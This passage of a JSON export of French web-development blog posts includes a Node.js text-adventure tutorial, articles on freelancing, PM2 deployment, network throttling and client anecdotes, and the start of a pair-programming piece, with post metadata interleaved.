d'exemples.\n\n```\n\nconst Parser = require('./Parser.js');\nlet parser = new Parser();\n\nconst sentences = [\n \"regarder\",\n \"ouvrir\",\n \"ouvre\",\n \"prendre\",\n \"lire\",\n \"lire lettre\",\n \"ouvrir boite\",\n \"regarde boite\",\n \"regarder la boite\",\n \"aller au nord\",\n \"aller vers le sud\",\n \"sud aller vers le\",\n];\n\nsentences.forEach((sentence)=>{\n try {\n let tokens = parser.parseText(sentence);\n console.log(sentence, tokens);\n } catch(e){\n console.error(\"Invalid syntax for sentence: \",sentence);\n }\n});\n```\n\nLes résultats sortant du parser sont donc :\n\n```\nregarder [ { type: 'verb', value: 'regarder' } ]\nouvrir [ { type: 'verb', value: 'ouvrir' } ]\nInvalid syntax for sentence: ouvre\nprendre [ { type: 'verb', value: 'prendre' } ]\nlire [ { type: 'verb', value: 'lire' } ]\nlire lettre [ { type: 'verb', value: 'lire' }, { type: 'noun', value: 'lettre' } ]\n...\n```\n\nN'oubliez pas que vous pouvez retrouver tout le code dans le dépôt Github ci-dessous !\n\n::: bookmark\n[![](https://avatars2.githubusercontent.com/u/6644095?s=400&v=4)NicolasBrondin/line-adventure](https://github.com/NicolasBrondin/line-adventure)\n:::\n\n## La suite\n\nLa partie 2 de ce tutoriel est disponible à cette adresse : [https://blog.nicolas.brondin-bernard.com/blog/tutoriel-creer-un-jeu-daventure-textuel-en-nodejs-partie-2/](https://code-garage.fr/blog/tutoriel-creer-un-jeu-daventure-textuel-en-nodejs-partie-2/)\n\n> ","Vous avez envie de créer un jeu vidéo mais vous n'avez pas le temps où les moyens de travailler sur les graphismes ? J'ai la solution !","tutoriel-creer-un-jeu-d-aventure-textuel-partie-1-parser-syntaxique","2020-09-04T12:09:20.000Z","2023-09-19T15:05:36.723Z","2020-09-04T13:25:08.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/09/brendan-church-lABssp8MhuI-unsplash.jpg","Brendan Church sur Unsplash","https://unsplash.com/@bdchu614?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":684,"title":685,"content":686,"socialTitle":8,"description":687,"socialDescription":8,"slug":688,"createdAt":689,"updatedAt":690,"publishedAt":691,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":692,"coverCopyright":693,"coverCopyrightLink":694},88,"Ce que veut dire être développeur freelance en 7 points clés","Lorsque j'accompagne les écoles de code en tant que juré, il m'arrive de tomber sur des étudiants **qui envisagent de devenir freelance dès leur sortie d'école.**\n\nMais je tombe aussi parfois sur des étudiants dont les entreprises qui les ont accueillis en stage **leur proposent de les employer en tant que freelance** !\n\n> Oui oui, vous avez bien lu...\n\n**Et bien souvent ces élèves sont tentés d'accepter**, sans vraiment comprendre ce qu'implique leur future vie de freelance, les avantages mais aussi les inconvénients avec lesquels on vit au jour le jour.\n\n**Voici ce qu'est ma vision de l'indépendance dans le monde du développement web** au travers de mes 4 années d'expériences de ce statut !\n\n## 1 - Devoir bien se vendre\n\n**C'est l'une des clés pour arriver à survivre.** Ajouter son profil sur une plateforme de freelance comme [Malt](https://malt.fr/) ne suffit pas à vous faire crouler sous les demandes clients, et surtout **une prise de contact ne signifie pas que vous allez décrocher le contrat.**\n\n**Bien souvent, une entreprise contacte plusieurs freelances** afin d'évaluer avec lequel elle a le plus envie de collaborer, et si vous n'êtes pas un minimum vendeur dans l'âme, vous avez intérêt à avoir de sacrées bonnes expériences à montrer pour vous en sortir !\n\n**Savoir bien se vendre, c'est aussi savoir estimer ses temps pour ne pas se retrouver floué lors de la réalisation du projet.** Bien sûr on s'améliore avec le temps et j'ai moi-même fait des erreurs sur mes premiers contrats, mais il va vous falloir devenir bon très vite.\n\n## 2 - Avoir des revenus inégaux\n\nJe pense que la période actuelle démontre de manière parfaite ce point-ci, mais même sans parler du Covid-19, **c'est l'une des plus grosses différences avec le statut de salarié.**\n\n**Il vous est possible de ne rien gagner pendant plus de deux mois** avant de toucher le paiement d'un contrat de 10000€ le mois d'après, la gestion de votre budget pro et perso fait alors partie intégrante de votre vie privée quotidienne.\n\nIl faut aussi prendre en compte les annulations de projets, **les (nombreux) retards de paiements clients** et apprendre à faire payer des acomptes avant le lancement des projets.\n\n> Par exemple en 2019, l'un de mes anciens clients est parti en liquidation judiciaire et **j'ai vu une facture de plus de 2000€ s'envoler**, et je ne suis pas le seul à qui ça arrive !\n\n## 3 - Être responsable de ses réussites mais aussi de ses échecs\n\n**Lorsque vous travaillez en tant que salarié, c'est votre employeur qui reçoit les plaintes des clients**, les retours positifs et les retours négatifs. Ensuite libre à l'entreprise de décider de la manière dont elle fait remonter le message aux équipes.\n\n**Mais en indépendant, votre employeur, c'est vous**. Un bug (ou une faille de sécurité) fait perdre de l'argent à votre client : **c'est vous le responsable**. Et si au contraire tout se passe bien, vous venez sûrement de gagner un client à vie qui fera appel à vous dès qu'il en aura besoin !\n\n> A noter qu'un développeur web n'a aucune obligation de souscrire à une assurance de responsabilité professionnelle, mais qu'[il est quand même conseillé d'en contracter](https://blog.ilovetax.fr/assurance-rcp-auto-entrepreneur) une pour plus de sérénité.\n\n## 4 - Devoir être autonome et savoir s’organiser\n\n**Il n'est pas rare d'être contacté par des clients qui ne possèdent aucune équipe de développement en interne** et de devoir gérer l'entièreté de la technique du projet, tout en étant capable de remonter les bonnes informations au bon moment et qu'elles soient compréhensibles par le client.\n\nVous n'aurez donc parfois aucune aide technique et vos seuls compagnons seront votre moteur de recherche et votre outil de gestion des tâches !\n\n> Savoir alerter son équipe est essentiel en entreprise, mais savoir **alerter son client en indépendant devient alors vital** !\n\n## 4 - Faire de l'administratif\n\nCréer son entreprise, trouver un logiciel comptable pour y faire ses devis et factures (non, Excel c'est fini !), payer ses cotisations et même parfois calculer sa TVA, **même si vous détestez l'administratif, c'est incontournable.**\n\nEt même si la comptabilité d'un auto-entrepreneur est simplifiée, **il va vous falloir un certain temps avant d'être à l'aise avec tous les termes employés** et d'être sûr de ne pas faire d'erreur dans vos déclarations !\n\n## 5 - Travailler souvent seul\n\nCe que vous avez pu voir pendant le confinement représente bien **la capacité d'adaptation de certains à travailler seul chez eux**, tandis que c'est impossible pour d'autres.\n\nLorsque l'on est freelance, on peut parfois être amené à travailler dans les bureaux de nos clients pour un temps, **mais aussi devoir travailler seul (ou dans un coworking) de temps à autres.**\n\n> **Pour le coworking, travailler à côté d'autres gens ne veut pas dire travailler avec ces personnes**, la nuance peut sembler mince, mais elle est bien réelle !\n\n## 7 - Être libre, ou presque...\n\nC'est l'équivalent du Saint-Graal pour toutes les personnes qui se lancent en indépendant, **se libérer du joug d'un patron, des horaires fixes et autres obligations de travailler dans un endroit donné.**\n\n**Et c'est vrai, être indépendant signifie gagner en liberté d'action**, mais à dire qu'il n'y à qu'un pas pour devenir \"digital nomad\" et voyager toute l'année tout en travaillant à distance, **c'est un doux fantasme** !\n\n> Votre patron maintenant, ce sont vos clients, car ce sont eux qui vous font vivre et que vous avez envie de satisfaire pour continuer de travailler avec eux.\n\n**Oui c'est vrai, vous pouvez partir en vacances du jour au lendemain, sauf si vous avez un projet qui doit sortir plus vite que prévu**, ou sur lequel vous avez du retard, ou parce que vous n'avez pas encore décroché de contrat pour les semaines à venir, etc...\n\nOn se retrouve parfois avec des clients qui dépassent des limites que même votre ancien patron n'aurait jamais dépassé !\n\n## Conclusion\n\n**Je vous rassure, j'adore le fait d'être indépendant et je ne l'échangerais pour rien au monde** pour l'instant, et même si cet article semble dire le contraire c'est parce qu'**il est inspiré de mes débuts**, et c'est la partie la plus compliquée de l'aventure.\n\n**Personnellement j'ai vraiment commencé à m'éclater en tant que freelance depuis deux ans**, à pouvoir choisir les projets sur lesquels je travaille, à avoir une vie plus sereine que lorsque j'étais employé.\n\nMais comme on passe tous forcément par le début, et que beaucoup vendent le fait d'être indépendant comme \"Devenez riche en 1 an\", **j'ai décidé de démystifier ce statut et de raconter la vérité, rien que la vérité !**\n\nMais si vous êtes quelqu'un d'autonome, qui sait bien parler, qui aime un peu le business et le contact client, que vous êtes un bon développeur (ou développeuse) et que vous êtes persévérant, **le statut de freelance est peut-être fait pour vous !**\n\n","Un indice, ça ne veut pas dire se la couler douce au soleil avec son ordinateur sur la plage.","ce-que-veux-dire-etre-developpeur-freelance-en-7-points-cles","2020-09-07T06:51:37.000Z","2023-09-21T13:18:12.082Z","2020-09-07T08:13:24.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/12/brooke-cagle-QLEu_4Xj-fk-unsplash.jpg","Brooke Cagle sur Unsplash","https://unsplash.com/@brookecagle?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":696,"title":697,"content":698,"socialTitle":8,"description":699,"socialDescription":8,"slug":700,"createdAt":701,"updatedAt":702,"publishedAt":703,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":704,"coverCopyright":705,"coverCopyrightLink":706},89,"L'outil indispensable pour déployer une application NodeJS en production","Si vous avez déjà essayé de déployer une application NodeJS sur l'un de vos serveur en interne, sur un VPS ou encore sur une infrastructure cloud type PaaS, vous connaissez déjà les problématiques d'un tel déploiement.\n\nSi vous faites partie des autres personnes et que votre premier déploiement est en vue, vous devez vous attendre à trois choses :\n\n* Devoir trouver un moyen pour que votre application Node reste en vie même si cette dernière vient à crasher\n* Vouloir récupérer les logs de l'application même après sa fermeture\n* Que le processus Node soit indépendant de votre session SSH actuelle, sinon ce dernier va se fermer dès que vous terminerez la connexion\n\n> Lorsque vous lancez un processus depuis une connexion SSH, le parent devient le processus SSH, et si ce dernier s'arrête, ses enfants s'arrêtent aussi !\n\nMais pas de panique ! Toutes ces problématiques (et bien d'autres) peuvent être résolues avec un seul outil : [PM2](https://pm2.keymetrics.io/)\n\n::: bookmark\n[![](https://raw.githubusercontent.com/unitech/pm2/master/pres/pm2.20d3ef.png)PM2 - Home](https://pm2.keymetrics.io/)\n:::\n\n## Qu'est-ce que c'est ?\n\nPM2 est un puissant gestionnaire de processus spécialisé pour la mise en production d'application NodeJS !\n\nCe qui veut dire que ce n'est plus vous qui allez lancer votre processus nodejs directement avec vos petites mains, mais que vous allez déléguer cette tâche à PM2 afin qu'il puisse gérer le lancement d'un (ou plusieurs) processus, stocker les logs, monitorer les ressources utilisées, etc... Et bien sûr, relancer votre application au besoin !\n\n_Attention cela signifie qu'il faut que votre application en stocke pas l'état de votre application en RAM, c'est ce que l'on appelle une application Stateless_\n\n> PM2 est un daemon, ce qui signifie que c'est un processus qui tourne en tâche de fond et qui continuera de tourner tant que l'on ne lui donne pas l'ordre de s'arrêter.\n\nJe vous ai présenté les fonctionnalités les plus basiques et celles dont vous aurez tout de suite l'utilité, mais sachez que c'est un outil plus puissant que ça, il peut notamment :\n\n* La possibilité de déployer plusieurs processus simultanément, comme des micro-services par exemple\n* Le rechargement de l'app automatique quand le code change\n* Redémarrage du processus sans aucun downtime\n* Déploiement en mode cluster\n* ...\n\n## Déploiement\n\nPM2 est disponible comme un paquet Node, vous pouvez donc l'installer directement depuis NPM (ou Yarn) comme ceci :\n\n```\nnpm install pm2@latest -g\n```\n\nUne fois installé, il ne vous reste plus qu'à lancer votre application !\n\n```\npm2 start app.js\n```\n\nEnsuite il ne vous reste plus qu'à controler vos processus Node en affichant les logs en temps-réel par exemple :\n\n```\npm2 logs\n```\n\nOu en examinant le monitoring de ressources !\n\n```\npm2 monit\n```\n\nEt le tour est joué. Pour les fonctions plus avancées, je vous laisse consulter la documentation de l'outil disponible ici : [https://pm2.keymetrics.io/docs/usage/quick-start/](https://pm2.keymetrics.io/docs/usage/quick-start/)","Pour déployer du Node, il ne suffit pas d'un simple node app.js pour être tranquille !","loutil-indispensable-pour-deployer-une-application-nodejs-en-production-pm2","2020-09-08T06:36:17.000Z","2023-09-22T13:40:43.505Z","2020-09-08T07:35:05.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/09/raymond-pang-4FY2xo10L58-unsplash.jpg","Raymond Pang sur Unsplash","https://unsplash.com/@raypang?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":708,"title":709,"content":710,"socialTitle":8,"description":711,"socialDescription":8,"slug":712,"createdAt":713,"updatedAt":714,"publishedAt":715,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":716,"coverCopyright":717,"coverCopyrightLink":718},90,"[Guide] N'ayez plus peur du bas-niveau","Lorsque l'on est développeur/développeuse web, on a souvent l'impression que plus on s'enfonce dans les couches basses des technologies, plus cela devient absolument inaccessible.\n\nPersonnellement je ne viens pas d'une formation de développeur web mais bien de développeur logiciel orienté C/C++, donc même si ce n'est plus ma spécialité, j'aime quand même continuer à expérimenter avec les technologies bas-niveau de temps à autres.\n\nEt si par la même occasion je peux démystifier ces domaines pour les développeurs web qui suivent mon blog, c'est une pierre deux coups !\n\n## Théorie\n\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2022/09/vishnu-mohanan-pfR18JNEMv8-unsplash.jpg)Que signifient bas-niveau et haut-niveau en programmation ? - Blog - Code-Garage](https://code-garage.fr/blog/que-signifient-bas-niveau-et-haut-niveau-en-programmation/)\n:::\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2021/04/umberto-jXd2FSvcRr8-unsplash.jpg)Comprendre comment fonctionne le binaire - Blog - Code-Garage](https://code-garage.fr/blog/comprendre-comment-fonctionne-le-binaire/)\n:::\n\n## Software\n\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2020/06/alexandre-debieve-FO7JIlwjOtU-unsplash.jpg)Apprendre à développer votre propre système d’exploitation - Blog - Code-Garage](https://code-garage.fr/blog/apprendre-a-developper-votre-propre-systeme-dexploitation/)\n:::\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2020/09/hello-i-m-nik-MAgPyHRO0AA-unsplash.jpg)Comprendre le Web Assembly -Blog - Code-Garage](https://code-garage.fr/blog/comprendre-le-web-assembly-wasm/)\n:::\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2021/12/jorge-ramirez-aZg24gSwAvI-unsplash-1.jpg)Qu’est-ce qu’un pilote logiciel (driver) ? - Nicolas Brondin-Bernard](https://code-garage.fr/blog/qu-est-ce-qu-un-pilote-logiciel-driver/)\n:::\n\n## Hardware\n\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2022/03/harrison-broadbent-unsplash.jpg)Arduino ou comment fabriquer ses propres objets électroniques - Blog - Code-Garage](https://code-garage.fr/blog/arduino-ou-comment-fabriquer-ses-propres-objets-electroniques/)\n:::\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2021/05/rose-music-player.jpg)Fabrication d’un lecteur mp3 open-source sur ESP32 avec Arduino - Blog - Code-Garage](https://code-garage.fr/blog/fabrication-lecteur-mp3-open-source-sur-esp32-avec-arduino/)\n:::","Retrouvez tous les articles traitant de technologies bas-niveau publiés sur mon blog !","best-of-n-ayez-plus-peur-du-bas-niveau","2020-09-09T06:58:18.000Z","2023-09-22T15:59:35.223Z","2020-09-09T07:13:10.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/12/robin-glauser-zP7X_B86xOg-unsplash.jpg","Robin Glauser sur Unsplash","https://unsplash.com/@nahakiole?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":720,"title":721,"content":722,"socialTitle":8,"description":723,"socialDescription":8,"slug":724,"createdAt":725,"updatedAt":726,"publishedAt":727,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":728,"coverCopyright":394,"coverCopyrightLink":395},91,"Tutoriel : Créer un jeu d'aventure textuel en NodeJS (Partie 2)","> Pour ceux qui n'auraient pas suivi le début de ce tutoriel, je vous conseille de le lire juste ici : [https://blog.nicolas.brondin-bernard.com/tutoriel-creer-un-jeu-d-aventure-textuel-partie-1-parser-syntaxique/](https://code-garage.fr/tutoriel-creer-un-jeu-d-aventure-textuel-partie-1-parser-syntaxique/)\n\nLa dernière fois nous avons créé notre parseur syntaxique basique afin de valider les phrases entrées par le joueur et de séparer chaque mot afin de les classifier.\n\nLe but du tutoriel d'aujourd'hui va être de faire le le lien entre ce parseur, le terminal et le moteur du jeu. La partie \"moteur\" est pour l'instant très simple car cela fera l'objet du tutoriel suivant !\n\n## Partie 2 : Comprendre le joueur\n\n### Gérer les entrées clavier\n\nPour l'instant notre parseur ne fonctionne qu'en lui passant des phrases écrites à l'avance, mais pour un jeu textuel il faut avant tout que le joueur puisse écrire du texte !\n\nLe but du projet est d'arriver à avoir un code suffisamment modulaire et j'ai donc décidé de créer une classe spéciale pour la gestion du clavier : l'InputManager.\n\n```\n//InputManager.js\nconst readline = require('readline');\n\nclass InputManager {\n constructor(on_command){\n this.on_command = on_command;\n }\n\n request_input(){\n const rl = readline.createInterface({\n input: process.stdin,\n output: process.stdout\n });\n rl.on('line', (input) => {\n rl.close();\n this.on_command(input);\n });\n }\n\n}\n\nmodule.exports = InputManager;\n```\n\nCette classe va être initialisé par le moteur du jeu en lui passant un callback pour chaque nouvelle commande entrée par le joueur, et comme c'est le jeu qui va décider quand laisser la parole au joueur, on invoque la lecture du terminal grâce à la méthode request\\_input().\n\nLe fait que cette classe soit séparée permet par exemple de la remplacer par une autre classe ayant la même interface mais fonctionnant sur des commandes vocales !\n\n> La version vocale ne sera pas couverte par le tuto évidemment !\n\n### Le gestionnaire de commandes\n\nPour l'instant on sait écouter les entrées utilisateurs, les parser pour les annoter et vérifier leur syntaxe, mais il nous faut les transformer en actions concrètes !\n\nLe but du gestionnaire de commande va être de définir le rôle de chaque token de la phrase du joueur et de déterminer quelles sont les actions à exécuter.\n\nEn l'occurence dans cette première version, le token \"noun\" va servir à sélectionner l'objet à cibler et le token \"verb\" va servir à effectuer une action dessus. Pour l'instant les autres tokens comme les prepositions et les articles vont être ignorés et servent juste à donner de la flexibilité au joueur dans sa rédaction.\n\n```\n//CommandManager.js\n\nclass CommandManager {\n constructor(game_instance){\n this.game = game_instance;\n }\n\n process_command(tokens){\n let verb = tokens.find(function(token){\n return token.type === 'verb';\n });\n let noun = tokens.find(function(token){\n return token.type === 'noun';\n });\n\n if(noun){\n this.game.target_item(noun.value);\n }\n\n if(this.game.check_target()){\n switch(verb.value) {\n case \"lire\" : {this.game.read(); break;}\n default: {throw Error('Unknown command');}\n }\n }\n }\n\n}\n\nmodule.exports = CommandManager;\n```\n\nVous aurez noté que si la phrase n'inclut pas de token \"noun\", on exécute quand même la commande, mais cette fois-ci en utilisant le dernier objet ciblé, ce qui nous permettra par exemple d'appeler les commandes \"lire lettre\" puis \"relire\" sans avoir à spécifier l'objet à chaque fois.\n\n### Le moteur de jeu basique\n\nIci notre moteur va nous servir à trois choses principales :\n\n* Relier tous les composants précédents entre eux\n* Exposer une représentation du monde très basique (ici une liste d'objets)\n* Commencer à écrire la logique derrière les commandes\n\n```\n//Game.js\n\nconst Parser = require('./Parser'),\nInputManager = require('./InputManager'),\nCommandManager = require('./CommandManager');\n\nclass Game {\n constructor (){\n this.parser = new Parser();\n this.command_manager = new CommandManager(this);\n this.input_manager = new InputManager(this.command_listener);\n this.input_manager.request_input();\n\n this.target;\n this.world = [\n {name: \"lettre\", text:\"J'ai pris les clés et fermé la porte, si tu veux sortir trouve le double, je ne sais plus où il est !\"}\n ];\n }\n\n\n command_listener = (line) => {\n try {\n let tokens = this.parser.parseText(line);\n this.command_manager.process_command(tokens);\n } catch(e){\n console.log(\"Je n'ai pas compris cette commande.\");\n this.input_manager.request_input();\n }\n }\n}\n\nmodule.exports = Game;\n```\n\nLors de l'instanciation du Game, on instancie aussi le Parser, l'InputManager et le Command Manager. En passant la fonction \"command\\_listener\" en callback de l'InputManager, on fait le lien entre le parser et le command\\_manager qui vont traiter les données l'un après l'autre.\n\n```\n//Game.js\n\n target_item(target_name){\n let target_item = this.world.find(function(item){\n return item.name.toLowerCase() === target_name.toLowerCase();\n })\n if(target_item){\n this.target = target_item;\n } else {\n console.log(\"Je ne sais pas de quel objet vous parlez.\");\n }\n }\n\n check_target(){\n if(this.target){\n return true;\n } else {\n console.log(\"Vous devez spécifier un objet\");\n }\n }\n```\n\nEnsuite on vient ajouter les deux fonction qui ont pour but de gérer la cible actuelle du joueur, ici on ne parle pas de cible au sens \"combattif\" du terme, mais l'on vient simplement mettre un \"pointeur\" sur l'objet que regarde le joueur à un instant T.\n\nA terme la méthode target\\_item sera beaucoup plus complexe car elle devra être capable de chercher aussi dans l'inventaire du joueur, et de trouver les objets par d'autres mots-clés que leur nom exacte. Par exemple \"Lettre de maman\" devra pouvoir être ciblé en écrivant juste \"lettre\" si il n'y a pas d'ambiguité dans les objets possibles.\n\n```\n//Game.js\n read(){\n if(this.target.text){\n console.log(this.target.text);\n } else {\n console.log(\"Vous ne pouvez pas lire cet objet\");\n }\n this.input_manager.request_input();\n }\n```\n\nEt enfin on vient créer notre première action concrète qui va nous permettre de lire le contenu d'un objet, uniquement si il contient bel et bien du texte !\n\nDans la prochaine partie de ce tutoriel nous viendront agrémenter notre moteur de jeu ainsi que notre monde afin de transformer cette simple liste d'objet en un vrai schéma de données plus complexe.\n\nN'oubliez pas que vous pouvez toujours retrouver le code complet présenté dans ce tutoriel sur le Github du projet :\n\n::: bookmark\n[![](https://avatars2.githubusercontent.com/u/6644095?s=400&v=4)NicolasBrondin/line-adventure](https://github.com/NicolasBrondin/line-adventure)\n:::","On continue notre aventure en faisant le lien entre le Parser de la dernière fois et le moteur du jeu.","tutoriel-creer-un-jeu-daventure-textuel-en-nodejs-partie-2","2020-09-10T06:53:45.000Z","2023-09-22T13:41:40.495Z","2020-09-10T07:35:26.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/09/annie-spratt-88HN85BJbq4-unsplash.jpg",{"id":730,"title":731,"content":732,"socialTitle":8,"description":733,"socialDescription":8,"slug":734,"createdAt":735,"updatedAt":736,"publishedAt":737,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":738,"coverCopyright":739,"coverCopyrightLink":740},92,"Outils développeurs : simuler un réseau de mauvaise qualité","Les ingénieurs de chez Facebook ont une contrainte : faire en sorte que leur plateforme fonctionne **même là où la connexion mobile est très faible.**\n\n> J'ai souvenir d'une réplique du film The Social Network qui m'avait marqué à l'époque, bien qu'exagérée  : \"En Bosnie, ils n'ont pas de routes, mais ils ont Facebook\"\n\nEt cette présence autour du globe confronte les ingénieurs à d'énormes différences d'équipement selon les pays, notamment en terme de réseau et de débit Internet, offrant donc **un gros challenge technique**.\n\nIl existe d'ailleurs un article sur leur travail autour de la simulation d'une connectivité réduite sur leur blog : [https://engineering.fb.com/production-engineering/augmented-traffic-control-a-tool-to-simulate-network-conditions/](https://engineering.fb.com/production-engineering/augmented-traffic-control-a-tool-to-simulate-network-conditions/)\n\nSi vous n'avez pas les mêmes besoin que chez Facebook, **pouvoir tester facilement comment réagissent vos applications web sur un mauvais réseau est indispensable**, car c'est aussi l'une des composantes de l'accessibilité web !\n\n## La solution\n\n**La console de développement est l'un des outils les plus utiles dans la vie d'un développeur ou d'une développeuse web**, et aller régulièrement explorer les possibilités de cette dernière, selon votre navigateur, est une bonne chose !\n\n> D'autant plus qu'au fil des mises à jour, de nombreuses fonctionnalités s'ajoutent régulièrement !\n\nL'une de ces fonctionnalités permet de **simuler une connexion mobile détériorée par rapport à votre connexion actuelle**. GPRS, Edge, 3G, 4G,... de nombreuses possibilités sont disponibles afin de vérifier que votre site ou votre application charge malgré la faible connectivité !\n\n### Comment y accéder\n\nCette fonctionnalité est notamment disponible dans les consoles développeurs de **Chrome et Firefox**, mais devrait également sur votre navigateur préféré.\n\nPour y accéder (Chrome/Firefox), il vous suffit d'**ouvrir les outils de développement (F12), d'aller sur l'onglet \"Réseau\"**, et vous devriez voir apparaître un menu déroulant juste en dessous des onglets vous permettant de faire le choix de la vitesse du réseau désiré :\n\n![Popup de l'outil de connectivité](https://cellar-c2.services.clever-cloud.com/content/2020/09/throttling.png)\n\nUne fois que vous aurez activé l'option, **pensez à recharger la page en désactivant le cache (CTRL+Maj+R)**, sinon votre page risque de charger trop vite en utilisant les données déjà chargées par le navigateur.\n\nPour l'utiliser très régulièrement, je peux vous assurer que **c'est un outil extrêmement pratique et que je vous recommande fortement !**\n\n","Votre site charge bien sur votre connexion fibre ou votre téléphone 4G, mais qu'en est-il sur un réseau mobile détérioré ?","console-developpeurs-simuler-qualite-reseau","2020-09-11T16:15:26.000Z","2023-09-19T15:05:36.870Z","2021-05-14T07:09:00.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/05/gavin-allanwood-IPApn5olGLk-unsplash.jpg","Gavin Allanwood sur Unsplash","https://unsplash.com/@gavla?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":742,"title":743,"content":744,"socialTitle":8,"description":745,"socialDescription":8,"slug":746,"createdAt":747,"updatedAt":748,"publishedAt":749,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":750,"coverCopyright":751,"coverCopyrightLink":752},93,"Les pires phrases que j'ai entendu en tant que développeur web","Lorsque vous êtes développeur, indépendant qui plus est, **vous pouvez être amené à travailler avec toutes sortes de clients** : certains connaissent très bien leur sujet, d'autres connaissent très bien la technique **tandis que les autres... ne connaissent ni l'un ni l'autre**.\n\nS'en suit alors des demandes tellement farfelues que je vous conseille de faire vos réunions en étant assis **pour éviter de tomber à la renverse !**\n\n## \"Mettez le numéro d'employé comme mot de passe par défaut pour chaque utilisateur\"\n\nOn commence par un champion, parce que là, ce n'est pas une simple demande de fonctionnalité exotique, mais **c'est belle et bien une demande client pour ouvrir une magnifique faille de sécurité dans l'application.**\n\nLes mots de passe par défaut ne sont déjà pas souvent une très bonne pratique en terme de sécurité, mais si le mot de passe par défaut est **une information non-confidentielle à laquelle tous les utilisateurs peuvent avoir accès, c'est pire.**\n\n> Un conseil : Si votre client insiste pour vous faire créer une fonctionnalité qui introduit un risque dans l'application, faites-lui signer une décharge pour vous dégager de toute responsabilité !\n\n## \"C'est quoi un serveur SMTP ?\"\n\nCette phrase-là pourrait ne pas être l'une des pires, car la majorité des gens en dehors de l'IT ne savent pas forcément ce qu'est un serveur SMTP.\n\nSauf que pour ma part, **elle est sortie de la bouche d'un maître d’œuvre spécialisé dans la gestion de projets informatique d'une entreprise du CAC40**.\n\n> Manque de vocabulaire ou vraie incompétence ? C'est parfois difficile à dire mais quand ces entreprises brassent des millions d'euros cela fait parfois peur...\n\n## \"En combien de temps tu peux refaire YouTube ?\"\n\n**Là on est sur du grand art. L'art de demander l'impossible, ou plutôt l'art de ne pas savoir expliquer son besoin correctement.**\n\nDans le monde des startups, j'ai souvent entendu d'autres entrepreneurs vouloir monter le \"Uber du ...\" ou le \"Facebook du ...\", et même si cette description reste très critiquable, **elle a l'avantage de vite faire comprendre à votre interlocuteur la vision globale du projet.**\n\n> Mais en abordant un développeur avec une phrase de la sorte, **vous risquez de le faire partir en courant** devant la nature Herculéenne de la tâche.\n\n**Décrivez votre projet précisément, sans le blabla marketing habituel**. Si vous désirez simplement une plateforme d'hébergement de vidéos avec un lecteur personnalisé, **ne demandez pas un clone de Youtube.**\n\n## \"Si je clique sur ce bouton (déconnexion), ça me ramène à l'écran de connexion, c'est normal ?\"\n\nIci nous sommes en présence d'**un parfait spécimen de l'homme de cro-magnon**, véritable stéréotype utilisateur dans le monde du développement.\n\n**Son utilisation va consister à appuyer sur tous les boutons de l'application, sans trop réfléchir aux conséquences** et sans aucune logique. Et ce spécimen-là était spécial car il était fier de m'annoncer qu'il avait trouvé un \"bug\".\n\n> Alors que non, c'était juste un bouton déconnexion !\n\n## \"Est-ce que l'on peut ajouter un mot de passe lors de la déconnexion ?\"\n\nAprès avoir deployé une application sur des tablettes fournies lors d'un évènement, **mon client a remarqué que tous les utilisateurs étaient envoutés par le bouton de déconnexion.**\n\nPendant toute la durée de la session, **les utilisateurs n'arrêtaient pas de se déconnecter**, jusqu'à ce qu'on mette effectivement en place un mot de passe de \"déconnexion\".\n\n**La méthode était surprenante mais mon client connaissait très bien son public et sa solution était la bonne !**","On se croit prêt à tout, et puis on se confronte à la réalité !","les-pires-phrases-que-jai-entendu-en-tant-que-developpeur-web","2020-09-21T06:22:02.000Z","2023-09-22T13:41:53.477Z","2020-09-21T07:39:38.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/09/jonathan-rados-Sbxt82CsMxA-unsplash.jpg","Jonathan Rados sur Unsplash","https://unsplash.com/@jonathanrados?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":754,"title":755,"content":756,"socialTitle":8,"description":757,"socialDescription":8,"slug":758,"createdAt":759,"updatedAt":760,"publishedAt":761,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":762,"coverCopyright":500,"coverCopyrightLink":501},94,"Pourquoi faut-il mettre en place le \"pair programming\" ?","Le \"pair programming\" (ou programmation en binôme en français) est **une méthode de travail qui consiste à faire travailler deux développeurs ensemble sur une même machine** et un même écran plutôt que de les faire travailler en parallèle sur des postes de travail différents.\n\nCette  méthode rentre dans le cadre du développement agile comme indiqué dans le \"**[Manifeste pour le développement logiciel agile](https://agilemanifesto.org/iso/fr/manifesto.html)**\" à la phrase :\n\n* Les individus et leurs interactions plus que les processus et les outils\n\n**Car oui c'est une forme de collaboration bien plus étroite que ce qu'on a l'habitude de voir** dans le monde du développement en général, qui pousse les participants à échanger et transmettre leurs idées et leurs solutions de manière plus récurrentes et plus fluide.\n\nMais malgré les avantages que cela apporte, **cette pratique a encore bien du mal à rentrer dans les mœurs des éditeurs de logiciels** c'est pourquoi nous allons voir les avantages que cela peut apporter, et comment faire pour que la mise en place du \"pair programming\" se fasse dans les meilleures conditions !\n\n## Le 